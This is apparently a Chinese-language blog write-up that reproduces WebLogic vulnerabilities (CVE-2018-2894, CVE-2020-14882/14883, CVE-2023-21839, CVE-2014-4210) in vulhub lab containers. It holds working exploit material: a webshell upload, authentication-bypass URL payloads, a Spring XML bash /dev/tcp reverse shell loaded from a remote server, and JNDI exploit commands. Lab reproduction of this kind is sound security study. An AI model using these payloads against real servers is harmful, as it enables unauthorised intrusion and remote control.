- 前言
- 任意檔案上傳漏洞（CVE-2018-2894）
- 管理控制檯未授權RCE漏洞（CVE-2020-14882 & CVE-2020-14883）
- 未授權RCE漏洞（CVE-2023-21839）
- SSRF漏洞（CVE-2014-4210）
前言
前面兩篇針對WebLogic存在的XMLDecoder和T3協議反序列化漏洞進行了分析和復現，這裡繼續借助vulhub來複現WebLogic的其他漏洞。
任意檔案上傳漏洞（CVE-2018-2894）
漏洞編號為CVE-2018-2894，WebLogic管理端未授權的頁面存在任意上傳檔案漏洞，可直接getshell獲取許可權。
影響版本：weblogic：10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3
復現環境：
cd ./vulhub/weblogic/CVE-2018-2894
docker compose up -d
首先執行docker compose logs | grep password檢視管理員weblogic的密碼，登入後臺頁面。
依次點選：base_domain -> 高階 -> 啟用Web服務測試頁 -> 儲存
訪問/ws_utc/config.do設定 Work Home Dir 為：
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然後嘗試上傳一個哥斯拉的jsp木馬：
使用Burp攔截上傳提交請求：
可以看到上傳檔案的路徑/ws_utc/css/config/keystore/和一個時間戳timestamp，然後這個時間戳會和上傳的檔案的檔名合成一個新的檔名[時間戳]_[檔名]，比如1717844040229_ggggg.jsp。
嘗試使用哥斯拉連線webshell：
http://192.168.88.150:7001/ws_utc/css/config/keystore/1717844040229_ggggg.jsp
哥斯拉連線成功。
管理控制檯未授權RCE漏洞（CVE-2020-14882 & CVE-2020-14883）
這個漏洞是由CVE-2020-14883許可權繞過漏洞和程式碼執行漏洞CVE-2020-14882組合起來造成的。可以實現未授權的使用者繞過管理控制檯的許可權驗證訪問後臺，透過一個GET請求在遠端Weblogic伺服器上以未授權的任意使用者身份執行命令。
影響版本：weblogic 10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0
復現環境：
cd ./vulhub/weblogic/CVE-2020-14882
docker compose up -d
首先CVE-2020-14883允許未授權訪問後臺：
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
然後利用CVE-2020-14882遠端執行程式碼：
方式一：
利用com.tangosol.coherence.mvel2.sh.ShellSession直接執行命令。但是這個利用方法只能在Weblogic 12.2.1以上版本利用，因為10.3.6並不存在這個類。
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping a98lh6.dnslog.cn%27);%22)
方式二：
利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext載入並執行遠端的xml檔案，這也是一種更加普遍的方式。
首先需要構造一個xml檔案，用來反彈shell：
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.88.150/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
在伺服器起一個 python http.server 使靶機可以訪問到該xml檔案:
python -m http.server 8000
嘗試透過FileSystemXmlApplicationContext執行遠端xml檔案：
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.150:8000/exp.xml")
監聽1234埠拿到反彈shell：
該方法的好處在於weblogic版本限制小，在12.2.1.3以及10.3.6版本都可以執行。
未授權RCE漏洞（CVE-2023-21839）
漏洞編號為CVE-2023-21839，允許遠端使用者在未經授權的情況下透過IIOP/T3進行JNDI lookup操作，當 JDK 版本過低或本地存在小工具（javaSerializedData）時，這可能會導致RCE漏洞。
影響版本：weblogic：12.2.1.3.0，12.2.1.4.0，14.1.1.0.0
復現環境：
cd ./vulhub/weblogic/CVE-2023-21839
docker compose up -d
JNDI注入的利用：
首先需要使用 JNDIExploit-1.2-SNAPSHOT.jar 啟動一個LADP服務預設監聽在1389埠，8080埠實現惡意類的載入。
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.88.128
-i 指定LDAP服務的IP地址（本機）
然後使用 Weblogic-CVE-2023-21839.jar 工具，這裡利用LDAP服務的/Basic/ReverseShell/達到反彈shell的目的。
執行exp向靶機進行JNDI注入：
java -jar Weblogic-CVE-2023-21839.jar weblogic-ip:7001 ldap://ldapserver-ip:1389/Basic/ReverseShell/nc-ip:nc-port
靶機被攻擊後，會向LDAP服務端進行LDAP查詢請求，然後LDAP服務端將請求重定向到8080埠的http服務，靶機再去請求LDAP服務端的8080埠載入反彈shell的惡意類。
當shell的惡意類的類被執行後，監聽1234埠拿到shell：
此漏洞有是出在T3和IIOP協議上，所以禁用T3和IIOP協議真的很有必要。
SSRF漏洞（CVE-2014-4210）
漏洞編號為CVE-2014-4210，服務端請求偽造SSRF漏洞出現uddiexplorer.war下的 SearchPublicRegistries.jsp
影響版本：weblogic 10.0.2，10.3.6
漏洞環境：
cd ./vulhub/weblogic/ssrf
docker compose up -d
SSRF漏洞存在於/uddiexplorer/SearchPublicRegistries.jsp頁面：
使用Burp攔截，可以看到operator引數是一個UR地址，試著訪問一下本地http://127.0.0.1:7001：
隨便修改為一個不存在的埠：
回顯了不同的內容，所以可以透過回顯錯誤的不同，探測內網狀態。
靶場還提供了一個注入HTTP頭，利用Redis反彈shell的環境。透過注入CRLF（%0a%0d）利用redis透過換行符來分隔每條命令的特點，來攻擊內網中的redis伺服器。
但比較可惜的是，我復現的這個環境採用的是POST傳資料，沒有CRLF注入HTTP頭部的這個利用點。
vulhub還提供了一個後臺存在一個弱口令，並且前臺存在任意檔案讀取漏洞。
主要就是獲取賬戶的明文密碼，爆破弱口令就全靠字典的強弱了（和億點運氣）。或者是讀取後臺使用者密文與金鑰檔案SerializedSystemIni.dat進行破解明文密碼。如果可以讀敏感檔案比如passwd和shadow檔案，可以進行hash破解獲取明文密碼（這個不是後臺密碼）。
參考文章：
https://vulhub.org/#/environments/
若有錯誤，歡迎指正！o(￣▽￣)ブ